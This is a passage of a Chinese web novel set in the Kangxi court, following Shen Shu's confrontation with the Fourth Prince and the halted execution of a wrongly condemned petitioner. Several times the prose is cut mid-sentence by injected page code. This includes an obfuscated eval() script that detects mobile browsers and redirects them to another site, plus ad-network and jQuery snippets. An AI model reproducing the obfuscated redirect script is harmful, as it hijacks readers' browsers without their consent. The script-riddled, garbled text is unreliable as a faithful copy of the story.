想了想直接说道:“无论是我还是八爷,谁也不能单凭怀疑就去故意得罪噶大人。 再说这事现在也没有查实一定是噶大人所为,我请八爷帮忙也只是找人而已。 八爷自然是知道分寸的,所以你大可不必担心。此事若是十四爷回来之后怪罪,那都是我的缘故,是你竭力阻拦但拦不住,不能怪你。” 话说到这份上,六子是真的没办法。 沈姝不是寻常人,她不仅敢怼十三阿哥,还能硬杠四阿哥,对上十四阿哥不客气的时候还敢甩开手。 他这个奴才,可是不敢! 可沈姝敢啊,所以六子觉得自己是真拦不住这种胆大包天的人。 不过好在她虽然胆子是大,但办事还是有章法的,至少没把事情搞砸过。 六子只能这么安慰自己,同时在心里求神拜佛,希望十四阿哥赶紧回京。 他垂头丧气的做出了让步,“那、那就先依您,奴才带他们去找人。” 这时,一旁的两人终于听明白了,后知后觉的察觉到他们不应该当着六子的面说怀疑噶礼。 这样反倒是让沈姝为难了,所以以后有什么事得避开他偷偷的说才行。 找人这事,本就不难。 即便是在没有摄像头的京城,只要想找,怎么都能找到些蛛丝马迹。 只需一声招呼,五城兵马司就有人直接拿了医馆的掌柜问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782355|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 这一问,很快就查到了线索。 然后顺着查下去之后,发现事情有点儿不对劲,当天便有人直接当面回报给了八阿哥。 “爷,您吩咐要找的人,现正在刑部大牢中。据说此人之前曾敲过登闻鼓,只是不知因何进了刑部大牢。” “刑部大牢?” 一听这话八阿哥眉头微皱,原本以为只是随手帮忙找个人而已,没有想到居然能扯出来刑部大牢,还有什么击鼓鸣冤之事。 很显然,沈姝没有跟他说实话。 击鼓鸣冤之事难道她之前不知道吗? 八阿哥觉得,未必! “知道了,下去吧,此事就此为止。” 接下来的事情,八阿哥已经不想再管。 这事一看就知道不简单,现在皇上不在京城,他不想自作主张的惹出来什么麻烦。 已经查到的事情,他会如实告诉沈姝 ,仅此而已。 “人在刑部大牢?” 听了八阿哥的话,沈姝心里一“咯噔”,难道真的与噶礼有关? 八阿哥没有质问沈姝到底知不知道登闻鼓的事情,而是直接表明了自己的难处。 “沈小姐,不瞒你说,刑部的事情怕是牵涉众多。若是真有冤屈,此事还是待皇上回京之后再设法处置。” 因为丁炳先告御状一事事情,沈姝翻阅过《大清律集解附例》,知道大概的流程。 所以才觉得这事明显有问题,流程不对! 按律例来说,即便是已经查明系诬告,也应该杖一百,发配充军才是。 怎么会直接进了刑部大牢? 不过这事这事从一开始就有问题,击鼓鸣冤实际上就是叩阍,应先枷号一个月、杖一百;若涉虚者,杖一百,发边远地方充军。 可是听丁炳先的两个族弟所言,杖责之后根本就没有上枷号。 于是沈姝委婉的问出了心中疑惑,“八爷,刑部拿人总得有个缘由才是,不知我那同乡是因犯何事?” 八阿哥此时已是不悦,只是没有表露出来,而是语重心长的说道:“沈小姐,京城之事没有你想的那么简单。 我不知你那同乡是因何进了刑部大牢,因为刑部主管不是我。更何况此时皇上离京,着令我与四哥一同留守。 即便是想插手刑部之事,也不是单单仅凭我一人可以做主的。” 他相信即便是十四阿哥回京,也不可能允许她这么胡闹! 所以只要把事情推脱出去即可,她可以去找四阿哥,看看四阿哥这个“冷面王”敢不敢捅这个篓子? 八阿哥觉得若是四阿哥肯戳破这事,接下来反倒是好办了! 此事若是真查下去,以他对刑部的了解,怕是所牵扯之人必不止这一个。 什么事情都怕查,不查可能都没有问题,一查可能都是问题! 刑部有太子的人,可却不仅仅只有太子的人。即便是想借机削减太子的势力,但不意味着就一定要当这个挑头的人。 皇阿玛曾说:水至清则无鱼。 大清国,何止是刑部如此? 要知道,出头的椽子先烂。于此事,也是一样的道理。 如果四阿哥愿意挑这个头,他会趁机插手,所以现在八阿哥并不想插手此事。 沈姝如何不知道这就是八阿哥的推脱之词? 可话已经被说死了,而且这番话听起来很有道理。她不是那种不讲理的人,更何况这事也不是撒泼就能解决的! “多谢八爷您肯帮忙又告诉民女这些,实在是感激不尽。” 沈姝道谢行了一礼后没有再说其他,接下来她得想想应该怎么办? 19. 第 19 章 八阿哥不想再继续帮忙,沈姝也勉强不了。好歹知道人在哪里,只能先试着自行打探消息。 回去之后便把情况如实说给丁炳先的两个族弟顺子和栓子,并且对他们说道:“说实话,现在我没有办法把人救出来。 但你们最好不要乱来,我给你们一些钱,你们去试试能不能跟牢里的差役接上头,打探一下里面的情况。” 虽然没把人救出来,但终于找到了人。 丁炳先的两个族弟很是感激,若不是沈姝,他们怎么可能找得到人? 能不能把大哥救出来,还得靠这位菩萨心肠的沈小姐,所以两个人都连声应下,“我们都听您的!” 沈姝没有说什么安慰的话,而是给了他们两锭金子,让他们自行去活动关系。 救人这事,不能全靠她一个人,这两个人也得使劲儿。 不过是去找差役打探消息,牢里那么多差役,他们手里又有钱。 但凡是肯想办法,就不可能找不到见缝插针的机会。 沈姝就不信,噶礼贪成这样,而刑部大牢里的差役就全部都是视金钱如粪土的清廉之徒! 顺子和栓子拿着两锭金子兑了一百六十两银子,花了一百三十两银子、五天时间,打探出来一条有用的消息。 一百三十两不算小数目,要知道督抚这种级别的一品大员,俸银一年也才一百八十两。 当然,禄米除外,那毕竟不是直接发白花花的银子。 这就是拿钱砸出来的消息,但这条消息,是坏消息。 “消息可靠吗?” 居然说丁炳先即将被砍头,沈姝眉头紧皱,这事不对啊! 见沈姝不信,顺子拿出来一个血迹斑斑的钱袋,急得都已经快要哭出来了。 “那差役怕我们不信,还拿出了这个钱袋,这个我们认得,就是大哥身上带的! 也正是因为这个钱袋,我们才又给了他二十两银子,让他帮忙打探消息。 他说再给一百两就告诉我们一个大消息,结果……结果他说明日午时大哥他就会被拉到菜市口斩首! 求求您了沈小姐,宁可信其有,不可信其无啊!要是大哥他明日真的被拖出去斩了,那、那就来不及了啊!” 说着两个人又都跪下来开始“砰砰砰”的磕,磕的沈姝头疼。 这消息要是真的,先不管为什么丁炳先会被砍头,紧要的事是要先把人救出来才行。 没办法,沈姝只得再去求八阿哥。 八阿哥听到这事,敏锐的觉得这很不正常,继而陷入了沉思。 暂且不论那人是否冤枉,即便是真犯了死罪,也不可能这么快就被砍头! 在大清,什么时候刑部能从抓人到行刑只需要十天半月? 除非沈姝所陈不实,若是所说为真,那就是刑部有大问题! 所陈不实不用管,若当真是刑部有大问题,那这个大问题也决不能由他揭露出来。 这么大的问题,不知将会牵扯到多少人。这可是得罪人的事,八阿哥并不想做这个“恶人”! 要知道就是连他的皇阿玛都在纵容官吏,比如噶礼。 袁桥、蔡真两位御史弹劾之事当真不实吗? 谁知道呢,他的皇阿玛连派人去当地调查一下都不愿意,而仅仅只是让噶礼自辩一番就信了。 可袁桥与蔡珍二人,却因此被罢官…… 所以思索片刻之后,八阿哥抬起眼帘开始推脱,“沈小姐,之前凌普犯了诬告之罪,被罢官抄家。 事关刑部,你可不能听风就是雨的。 此事,必须得有真凭实据才行!” 他当然知道沈姝没有所谓的真凭实据,所以才会这么说,希望她知难而退。 沈姝也明白八阿哥的推脱之意,因为他连说帮忙核实一下都不愿意。 明知道希望渺茫,她依然不识趣的继续恳求:“可否请八爷打听一下这个消息的是否属实?” 八阿哥摇摇头,又把上次那套说辞搬了出来,“我知道你关切同乡,可朝廷之事不能没有章法。此事,我一人无法做主。” “民女明白了,多谢。” 从八阿哥府离开后,沈姝在街上站了一会儿,转而去向四阿哥府上。 八阿哥上次拿四阿哥做挡箭牌,既然皇上是让他们二人留守京城,那除了八阿哥,只能去找四阿哥,现在她也就只跟这两位还算比较熟! 当然,沈姝知道自己跟这两个人之间的熟,不是同一种。 她帮过八阿哥,而且之前并没有得罪过他,但她得罪过四阿哥…… 可现在连八阿哥都不愿意帮忙,沈姝对于自己是否能够说服四阿哥心里没底。 无论如何,事在人为,总要试试才甘心! 六子见状想要劝阻,可心知劝不住沈姝,只得跟着一起去四阿哥府上。 他觉得四阿哥一定也会拒绝! 四阿哥没有想到沈姝居然会主动来找,毕竟她之前可是对自己没有过一个好脸色。 他的心情莫名其妙的有些愉悦,至少有事的时候她还能想得起来找自己。 “沈姑娘此番前来,必是有事吧?” 沈姝点头承认,“是有事情来求四爷。之前民女已经求过八爷,八爷说皇上令您与他二人留守京城,所以这事他做不了主。” “哦,是什么事情?” 话是这么问,但四阿哥猜这必定不是什么好事,否则他这位乐于助人的八弟绝对不可能把事推到自己这里来! 甚至他突然有点儿怀疑沈姝是不是跟八阿哥串通好了,故意来的…… “民女有一同乡数日前在京城失踪,托八爷帮忙寻找之后发现人在刑部大牢里……” 沈姝重点陈述了从刑部得到的消息,没有提告御状的事情。 一是因为现在并不确定是不是噶礼所为,二是刑部这么做明显是不合律法。 四阿哥听罢没有立刻表态,八阿哥能想到的事情,他又如何不能? 若属实,刑部有问题,还是大问题! 而且他还知道八阿哥把事情推出去,又让沈姝来找自己。 无非就是想要自己去掀开刑部的脓疮毒瘤,当这个得罪人的“大恶人”! 说实话,四阿哥并不想如八阿哥所愿。 因为这其中不仅仅是得罪某些官员的事情,还涉及到其他。 据他所知,刑部有太子的人,所以这事太子是否知情? 如果不与太子打声招呼就擅自去查,那得罪的是太子! 而他明面上一直支持太子,现在去查,万一查出来什么,岂不是有陷害太子的嫌疑? 这事由八阿哥来查,说得过去,因为他与太子素来不合。 思索之后,四阿哥也没有直接当场拒绝,而是说道:“此事颇为复杂,容我想想。” 沈姝一听就知道跟八阿哥一样,四阿哥所说也都是推脱之词! 如果消息为真,丁炳先已经等不起了。 对于这些所谓的阿哥们,沈姝不仅是失望,更是心生鄙夷。 她不怕得罪四阿哥,有些话真是不吐不快! “复杂?想想? 沈姝冷笑一声直接开骂,“你们贵为皇子,自幼熟读百书,难道真的不知道刑部这么做是违法的? 我想你们知道,不过是利弊衡量之后认为区区贱民不值得你们这些天潢贵胄多看一眼!” 这话说的太直接,可以说是刺破了四阿哥的心思,他确实衡量了利弊。 没有人能在如此突如其来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的冷嘲热讽中保持住情绪,四阿哥也不例外。 他面带薄怒,呵斥了一声,“沈姑娘!” “怎么,被言中心思就恼羞成怒了?” 沈姝毫不势弱的看着四阿哥,作死般的继续挑衅,“曹操因此杀了杨修,你也杀了我得了!” “沈姝你、你……你给我滚出去!” 四阿哥重重的拍了下桌子,气得发抖,但还能按捺得住自己的脾气,没有想怎么样她。 可沈姝不仅不怕,还想爆粗口。 MD,人救不了也报不了仇,真是窝火! 一想到噶礼的事情,还有丁炳先的族弟“砰砰砰”的把头都磕破的情景她,就一肚子的火,也已经忍了很久! “就不滚,要不你杀了我啊!” 沈姝的声音比四阿哥还大,“反正你们这些人也不在乎百姓的死活,一个个的毫无担当就只会推诿扯皮……” 四阿哥看沈姝状若疯癫,顿时站起身来,怒斥道:“闭嘴!” “怎么,听不得实话啊! 难道你们不是尸位素餐?” 沈姝也是火气上头,她本身也不是什么好脾气,只不过是能装而已。 此时是豁出去了! 四阿哥被骂的血气上涌,长这么大除了他的皇阿玛还有太子,还有哪个敢当面这样骂他? 甚至说连皇阿玛骂的都没她狠,他再也控制不住的扬起了巴掌,想要逼退她。 沈姝随即抬手挡了一下,这一巴掌落在了她的胳膊上,并不算重。 可她是想找死,不是想找打! 于是直接拔下头上的发簪抓起四阿哥的手塞了过去,指着自己的脖子吼道:“打女人算什么男人?来啊,干脆杀了我!” “你以为我不敢杀你?” 四阿哥简直气死,长这么大,就没见过这种疯癫嚣张的女人! “那你杀啊!” 说着沈姝还凑上去催促,“快啊,我求之不得!” 看着凑过来的沈姝,她的脸上毫无惧意,只有愤怒。 这副模样让四阿哥不禁想起史书上某些死谏的文臣,她这是真敢死啊…… 他蓦地就泄了气,他的情绪向来是来的快,去的也快,只是寒着脸斥了一句,“你闹够了没有?” “没有!你要么查刑部,要么杀了我。” 沈姝贫穷至此,除了命,没有其他可以谈判的筹码! 这也不叫谈判或者谈条件,其实只是在破罐子破摔般的发泄累积的情绪。 深吸几口气,稍微平复过情绪之后,把手里的簪子丢到桌子上。 四阿哥不想再说什么杀不杀的字眼,而是换了一个问题。 “若是我不帮你,你要怎么做?” 沈姝不想回答这个问题,因为她对此无能为力。她抬眼也问了一个问题,“你为什么不杀我?” 强行压下怒气之后,四阿哥觉得沈姝有点儿不太正常,正常人谁会把“死”挂在嘴上? 可她明明很聪明,不应该会自寻死路才是!即便是受八阿哥蛊惑来激他,也不至于如此…… 他想了想问道:“你想殉情?” “什么殉情?” 简直莫名其妙! “难道不是吗?” 四阿哥脑洞大开的猜测出一种可能性,“因为救不了那个丁什么来着,所以你也不想活了!” 沈姝冷着脸翻了个大白眼,“你不想管事也就罢了,算丁炳先命不好,下次投胎别投到这种贪官污吏横行之地!” 说着她斜了四阿哥一眼,最后又激了他几句,“位尊而不尽责,俸厚而不恤民。四阿哥,你也不过如此!” 言罢,沈姝面带鄙夷转身离开。 她已经尽力,可惜…… 20. 第 20 章 “你……” 无论这话还是这鄙夷的表情,都刺痛了四阿哥。 他都气到快麻木了,若是其他人…… 不,其他人说不出来这番话,也不敢! “你给我站住!” 四阿哥出声想拦住沈姝。 知道他不愿意帮忙,沈姝对这话根本是充耳不闻,没有停下脚步。 四阿哥见状跟上去几步伸手直接拉住了她的胳膊,沈姝扭头冷冷的看着他,眼神中还带着未曾消散的不屑一顾。 她很失望,不仅是失望于如此作死都没能完成任务。 还有对四阿哥这个人,后世还说什么雍正对贪腐毫不留情。 想必都是夸大其词,他根本就不敢! 也不比八阿哥这个夺嫡失败者好到哪里去,不过是半斤八两,彼此彼此! 迎上沈姝的目光,四阿哥心中的犹豫逐渐消弭。 她的话刺耳刺心,但没有说错。 确实,他与八阿哥两个人是在相互推诿。 若暂且不论利弊得失暂,刑部之事若是属实,可见吏治之败坏! 民之治乱在于吏,国之安危在于政。吏治不清,民何由安? 这些四阿哥都懂,只是他需要做出一个选择,是大义凛然还是明哲保身? 现在他已经做出了选择,“我若是不查办此事,不仅被你这女子所轻鄙,也为百姓所唾弃。” “当真?” 沈姝有点儿不相信自己的耳朵,其实来之前她就没抱多大希望。 之前被八阿哥拒绝了两次,别说是八阿哥,就算是十四阿哥在,不出意外的话应该也是会拒绝。 “当真。” 看着沈姝疑惑中迸射出惊喜的表情,四阿哥重重的点了点头,然后松开了手。 而后继续道:“不过此事你必须听安排,莫要再如此口无遮拦!” “谢谢四爷!” 沈姝说着行了一个大礼,“方才民女口不择言对您不敬,实在是错怪了您,您要是生气要责罚……” “好了,起吧!” 受了沈姝一礼后,四阿哥沉着脸没好气的打断了她的话。 这女人,变脸倒是快! 刚才骂他那么狠,打她还敢还手,动不动就以死相逼,你你你的喊个不停,连声爷都不称呼。 应了她就立刻认错,又一口一个爷,一口一个您,识趣但虚伪,虚伪的狠! 但她为了救人可以拼命,着实是品性难得。正常人求人办事哪个不是好声好气、唯唯诺诺的? 也就是她,胆敢如此的以下犯上! 她完全可以挟恩图报去找福晋来说情,再不济哭哭啼啼的求求他也好。 可却偏偏拿这些大义来冷嘲热讽,简直是猖狂得很! 而他终究还是中了她的激将之计。 见四阿哥不再说话,沈姝不禁有些急,“四爷,那现在……” 四阿哥指了指一旁的椅子,“坐下说。” 又是吵又是闹的折腾了这么一通,他被气的有点儿累。 见沈姝乖乖的坐好,四阿哥才缓缓说道:“我知道你很急,但先别急。 你的消息来源未必可靠,现在要做的事情,是等。” “等?” 沈姝不太明白要等到什么时候,难道要等到明天去劫法场? 然后就见四阿哥端起茶杯又放下,抬头看向她,不说话。 “?” 总不至于是刚答应要帮忙,扭脸就想端茶送客吧! 沈姝看了一眼茶杯,又看了一眼四阿哥,愣了下才明白。 于是站起身来走过去,发现茶杯见底了,果然是想让她端茶倒水! 看在有求于人的份上,沈姝伸手拿起茶壶给添了一杯水,还说了句好听话。 “民女给您倒茶,您请慢用。” 四阿哥则是端起茶杯轻啖一口茶水润润喉,这女人还算是有眼色,就是没规矩。 算了,不稀得说她,省的她又梗着脖子气势汹汹,一点儿女子应有的温婉贤淑都没有! 放下茶杯之后,四阿哥才继续道:“既是明日午时处斩,那便让人去大牢门口看着,待确认人犯被提出来处斩再说。” 说完还故意瞟了沈姝一眼,“沈姑娘你如此聪颖,不会心急到连捉贼捉赃的道理都不懂吧?” 觉得这句话是在内涵自己,不过沈姝不在乎,能救人就行。 刚才骂了他一顿,就让他得几句便宜! 她装作恭顺的模样,“都听四爷您的。” 这顺从的姿态,看得四阿哥都想翻白眼了,凉凉的讥讽了一句,“你可真是……真是能屈能伸啊!” 装作听不出来嘲讽之意,沈姝接了一句,“您过奖了。” 不知怎么得,看过她对自己骂骂咧咧的刁蛮之状,如今再看貌似恭敬的模样。 四阿哥觉得实在是心口不一,虚假的很! 还是那副桀骜不逊的态度,更真实些。 既然决定要查办,就必须要了解更多情况。四阿哥想知道整件事情的来龙去脉,看着沈姝问了几个问题。 “你可知道那人因何来京,被抓之前在做什么?还有你与他,当真只是同乡之情?” 之前的说辞是避重就轻,现在四阿哥直接问起,沈姝没有立刻回答,而是在想应该怎么说合适。 见状四阿哥沉下脸,忍不住的又想生气,“你求人帮忙竟是连实情都不愿道出?” 沈姝闻言抬起眼帘,决定实话实话,希望眼前之人不会出尔反尔,于是从头开始说起。 “民女是山西平阳人,丁炳先是山西平遥人,我们确实算是山西同乡。此番进京,俱为告状,状告山西巡抚噶礼。 不过我们并非是一同进京,丁炳先他们进京之后做过什么民女不知。 前些日子,民女偶然遇到丁炳先他们,才知道弹劾噶礼的两位御史被罢官。 丁炳先因此欲叩阍,结果几天前他的两位族弟找到民女求助,说是丁炳先被杖责一百后失踪了。然后民女就去求八阿哥,情况就是这样。” 噶礼被弹劾的事情四阿哥知道,可他没有想到沈姝居然是进京告状之人! 而且她并没有叙说因何告状,又是怎么委身于十四阿哥的…… 见四阿哥眉头紧皱,沈姝以为他忌惮噶礼,想要退缩,不禁嗤了一声。 “皇上既已认定噶礼无罪,想必冒死叩阍亦是徒劳。 依 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 律,纵使叩阍不实,罪不致死。 然而天子脚下,百姓至死都只能当个糊涂鬼!” 说实话,噶礼的事情,四阿哥觉得很难办。因为皇上宠信噶礼,自然会偏听偏信。 但刑部的事情,若是查实,至少可以救下无辜之人。 四阿哥看着沈姝说道:“此事我既已应下,必会设法查证。” 顿了顿,他还是想问问她的事情。 什么情况下,一介弱女子才会跋涉千里进京告状? 究其原因,必是惨剧! 怪不得她的情绪会如此激动,想必是对那个丁炳先感同身受,加之对噶礼的仇恨,才会如此。 究竟是何等的深仇大恨,四阿哥想知道。 他的语气中带着一丝怜惜之意,“你……是因何要状告噶礼?” “因何不重要,告状亦无用。当下,民女只想赶紧把人救出来。” 沈姝不想回答这个问题,也不会去告状,还会劝丁炳先他们不要再告状,而是要另想他法! “……” 沈姝言语间对朝廷的不信任让四阿哥沉默以对,他竟无法反驳说告状一定有用,皇上一定公正无私,因为他保证不了也做不了主…… 然而以她这性子,会轻而易举的放弃报仇? 四阿哥不信! 他甚至能猜到,十四阿哥应该也不可能愿意帮她报仇。 所以她才会对叩阍的同乡抱以希冀,结果…… 可她这个人,不仅聪明有心计,还记仇,胆子也不小,必然不可能因此而善罢甘休。 “你……” 原本想说让她不要乱来,又怕惹她伤心生气,还没开口就又变成了更加委婉的说辞。 “你亦是读过书的,应知自古以来,多行不义,必自毙。所以噶礼之事,且待之。” 沈姝对此未置可否而是起身告辞,“多谢四爷提点,民女先回去安排,若有情况及时向您禀报。” “好。” 四阿哥没有再问什么,而是目送她离开。 沈姝道谢后便赶紧回去安排,这事只能由丁炳先的两个族弟去刑部大牢附近盯着。 一旦看到丁炳先被押出来,就报信给四阿哥。 至于四阿哥会怎么做,沈姝没有问。 求人帮忙,人家愿意帮,只能听安排。 沈姝离开后,四阿哥盯着桌子上的发簪发了会儿呆,在反思自己今天的情绪是不是有些失控? 真是被气到怒火攻心,这女人不仅会骂人,还什么都敢骂! 一被骂,他就上头了,忘了先问清事情的全貌。 还是被怒火冲昏了头脑,有些失控。 以后要切记、切记,戒急戒躁! 至少不应该对她动手,这也是他第一次对女子动手…… 虽然她性子桀骜,脾气又大,倒也不失为有情有义的性情中人。 末了,四阿哥对着簪子叹了口气。 刑部的事情要查,还必须要把握尺度。 本以为这事可能是噶礼走动了刑部的关系,挟私报复。 否则人怎么可能会无缘无故的进了刑部大牢? 但四阿哥真没想到,这事并没有这么简单…… 21. 第 21 章 顺子和栓子宵禁刚过就进城蹲守在刑部大牢附近,若是消息属实,那么今日午时之前丁炳先一定会从这里被押解出来。 而行刑之地在城外,一路押解过去至少也的小半个时辰,所以时间上完全来得及。 六子跟着沈姝一起等着消息,心里直犯嘀咕。他一直跟着跑,当然知道现在的情况是八阿哥不肯帮忙,但四阿哥愿意。 这就很奇怪! 他可是知道沈姝对四阿哥可算不上恭敬,之前两个人还起过冲突,闹的很不愉快。 都这样了四阿哥居然还肯帮忙,难道不蹊跷吗? 十四阿哥离京之前,交代的可是有事找八阿哥,结果现在成了这样。 简直是想想都头疼,六子心道:到时候十四阿哥回来,自己可怎么交差啊? 他正在纠结要不要问问沈姝到底为什么四阿哥会同意帮忙,还没等开口问,丁炳先的族弟栓子就闯了进来。 “沈小姐,看到了,我们看到了,大哥他真的被押解出来了!” 这事可不能闹乌龙,沈姝听罢又确认了一下,“你们可是看真切了?” “绝对没错!自家大哥还能认错?” 这怎么可能会看错? 栓子急的大喘气,连番的催促,“顺子哥正跟着差役往刑场去,沈小姐您看现在怎么办,这可耽搁不得了!” 末了又说道:“不过我瞅着大哥后面的亡命牌上面的名字应该是写错了,不像是他的名字……” 虽然搞不清楚是怎么回事,但他确定人没错,确实是大哥无疑! 一旁的六子一听插了一嘴,“你该不是看错人了吧,亡命牌上的名字怎么可能会有错?” 亡命牌又叫斩条,是一块木牌,上面写着人犯的名字,还画着朱圈,插在人犯的后衣领中。 监斩官就是以此来确定所斩之人的身份,刽子手行刑之前,要把这块牌子拔下来,这是为了证明所杀之人的身份。 所以这东西怎么可能会有错? 可栓子无比确认,那人就是他大哥! 怕沈姝不信自己,他忍不住发下毒誓,“我敢发誓,绝对没有看错,若是有错,就让我天打雷劈不得好死!” “我信你。” 沈姝说罢看了六子一眼,“麻烦小六哥你骑马去四爷府上报信,我们随后。” 谁没事会发如此毒誓? 六子被惊住了,没有再说什么,转身前去报信。 沈姝朝栓子说道:“我们也一起过去。” 六子会骑马,跑得快,她不会,所以只能让他先去报信。 而她带着丁炳先的族弟栓子步行随后,马车现在是有车无马,用不了。 走到半路的时候,迎到了四阿哥,他也骑着马,还带着随从。 看到步行的沈姝,四阿哥勒住马,想到之前她与十四阿哥共骑的情景,他鬼使神差的对她伸出了手,“上马。” 沈姝没有过多犹豫,因为现在赶时间,否则她也不可能步行前去迎人。 于是搭着四阿哥的手上了他的马,确切的说她是被拉上去的。 见沈姝听话的上了马,四阿哥心里很是满意。又瞥了一眼栓子,吩咐了一声,“带上他。” 然后栓子被仆从带上了马。 “坐稳了,我们去刑场。” 四阿哥说罢,策马扬鞭。 沈姝的骑马技术经过十四阿哥手把手的教导,已经好过从前,最起码在马上能稳住身形。 四阿哥则是主动保持了距离,并没有什么过分举止。 他对自己方才举动的解释是,事急从权。 最重要的是沈姝没有拒绝他! 沈姝确实没有拒绝,因为四阿哥比十四阿哥规矩多了。 上马后连她的手都没再碰,两个人之间连衣服都没挨上。 “四爷,有件事需要跟您说下。 听丁炳先的族弟说他身上亡命牌的名字不对,不是他的。” 沈姝觉得这是很重要的信息,必须得提前告诉四阿哥。 四阿哥听了之后第一反应也是不相信,“你确定?” 沈姝做了客观陈述,“未亲眼所见。” 接着又道:“所以到了刑场可以再确认一番。” 这可真不是什么好消息,四阿哥觉得此事怕是非同寻常。 若不是刑部粗心大意弄错了,那可能会是偷梁换柱的把戏,这胆子也未免太大了! 四阿哥的脸色很是凝重,一路上没有再说话。 骑马的总比走路要快的多,所以四阿哥和沈姝一行到达刑场的时候,受刑的人犯还未到。 四阿哥此时并没有去询问监斩的官吏,而是带着沈姝混在看热闹的人群中。 他在等一个机会。 一旁的栓子见状急的要死,沈姝劝了一句,“我信四爷,你也应该信。” 这话四阿哥听了舒服,同时又心生感慨,沈姝这女人,只要不故意气人,还是会说舒心话的。 终于,人犯被带到。 栓子指着其中一个身穿囚衣、披头散发的人犯指认道:“沈小姐您看,那个就是我大哥!” 这些死囚们个个蓬头垢面,都穿着一样的囚服,若不是他们的亲人,外人还真是难以辨别。 沈姝是仔细的看了又看,才确定确实是丁炳先。 只是他的状态明显的不对劲,他发出“啊呀呀”的声音,但说不出来话来。 至于背上的亡命牌离的有些远,沈姝看得不是很真切,似乎确实不是他的名字。 眼看着丁炳先被拖上砍头台,沈姝伸手拉了下四阿哥的衣袖,提醒他再不阻拦就来不及了! 就在此时,监斩官唱读了丁炳先的名字和刑罚。 “张勇,斩立决!” 四阿哥要等的就是这个机会,必须要由监斩亲自确认人犯人名不符才行。 监斩官声音刚落,刽子手便要动手抽掉人犯身上的亡命牌,而后举起屠刀。 “就是现在。” 四阿哥朝栓子吩咐道:“速去喊冤!” 然后又朝随从说道:“你们也一起。” 法场周围都有围栏,还有兵丁把手,单凭丁炳先的两个族弟,不可能突出重围,就是喊破了喉咙也无用! 接着四阿哥朝六子交代了一句,“看好沈姑娘。” 他当然不能再旁观下去,而是要亲自过问此事。 “冤枉啊大人……” 丁炳先的两个族弟高声喊冤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,四阿哥的随从则是拿出腰牌大喊一声:“刀下留人!” 监斩官见状连忙大喊:“快,快行刑!” 刽子手听令高举屠刀,其中一个随从见状拔出佩刀投掷过去,击中了刽子手的臂膀,强行逼停了行刑。 监斩官见状站起身来大喊:“大胆狂徒,给我拿下!” 然后四阿哥的随从以及栓子和顺子他们就被围了起来,随从立刻高声怒斥:“大胆,你们胆敢以下犯上!” 后面的四阿哥沉着脸走上前来,“你们想要拿下本贝勒?” 兵丁们不认识四阿哥,但他们都认识腰牌,见状连忙放下兵器行礼,“卑职叩见贝勒爷……” 此时监斩官也看到了四阿哥,不得不硬着头皮走过来见礼。 “奴才康达海叩见四爷。” “起来吧。” 康达海起身之后,见四阿哥脸色不虞,心知要糟。 无缘无故的,这位爷怎么会出现在这里? 但他心里还抱有一丝侥幸,主动问道:“四爷您怎么得空来这里?” 四阿哥没有一上来就拿错,而是淡淡的说道:“我在路上看见有人喊冤,就跟过来看看。” 然后又瞥了一眼刑台的方向,“喊冤之人称人犯名为丁炳先,乃他们的族兄,此事你怎么看?” 康达海冷汗都冒出来了,果然是出事了。 但他还想狡辩,咬死不认。 “回四爷,人犯是从大牢中押解而出,一路上皆有差役看守,怎么可能会弄错? 想必是那些草民看花了眼,认错了!” 丁炳先的族弟见状“噗通”一声跪了下来,哭着说道:“四爷,那真是我们大哥,怎么可能会看错,他人就在那里……” 四阿哥看着康达海问道:“为以防误杀,可否让他们兄弟相互辨认一番?” “当然,奴才听四爷您的。” 康达海当然不能拒绝,四阿哥虽然是在问他,但那只是场面话,他还能强行阻拦? 反正人犯已经被毒哑,也不可能说话。 四阿哥朝丁炳先的族弟吩咐了一句,“你们过去看清楚。” 然后又对康达海说道:“暂停行刑,我要查看本案的卷宗。” 其实不用查他都知道必定是有猫腻,因为康达海的反应就不正常。 况且单凭辨认,又怎能证据确凿,必然是要看卷宗的。 一听要查看卷宗,康达海的脸刷的一下就白了。没有想到四阿哥竟然如此较真,似乎是有备而来。 这可经不起查啊! “这、这不妥吧……” “妥与不妥,查了便知。若是查清无误,你自可上疏弹劾于我。” 而行刑台上,丁炳先看见自己的两个族弟,已经泪流满面,张着嘴“啊啊”不出只言片语。 “大哥你别怕,我们求了沈小姐,她又求了四爷,一定能救你出来!” “呜呜呜……” 丁炳先一山西大汉哭个不停,敲登闻鼓之前,他是已经豁出命来。 可万万没有想到会是以这种方式,哪怕是开公堂审一下,他死的都没有这么冤! 很快丁炳先被重新押解回去,紧接着四阿哥亲自登门拜访八阿哥。 22. 第 22 章 四阿哥登门拜访,将事情告诉八阿哥,希望他能一起去查看丁炳先的卷宗。 没有想到沈姝居然能够说动四阿哥去查刑部,八阿哥心中一喜,也不知道她用的是什么法子。 这不重要,重要的是篓子已经捅出来了。 他满脸惊讶的说道:“前几日,沈小姐来找我帮忙寻找过此人。 当时找到人在刑部大牢,她曾提过问斩一事,我还以为只是道听途说,结果居然是真的!” 什么道听途说? 根本就是借口推诿罢了! 虽然心里是这么想的,但四阿哥不是沈姝,不会直接点破。 “皇阿玛令我们留守京城,现在出了这样的事,八弟你意下如何?” 听四阿哥这么问,八阿哥根本不想接茬儿,他希望四阿哥先查实丁炳先一案偷梁换柱的事实。 只有查证属实,下面才会有彻查刑部追究责任的后续。 现在只是找到了盖子在哪里,但还没有揭开。而他显然不想跟四阿哥一起,做这个揭盖人,否则当初也不会拒绝沈姝。 故作思索之后,八阿哥提了一个建议,“此事若是查实,可是大事,必须要呈报皇阿玛才能处置。 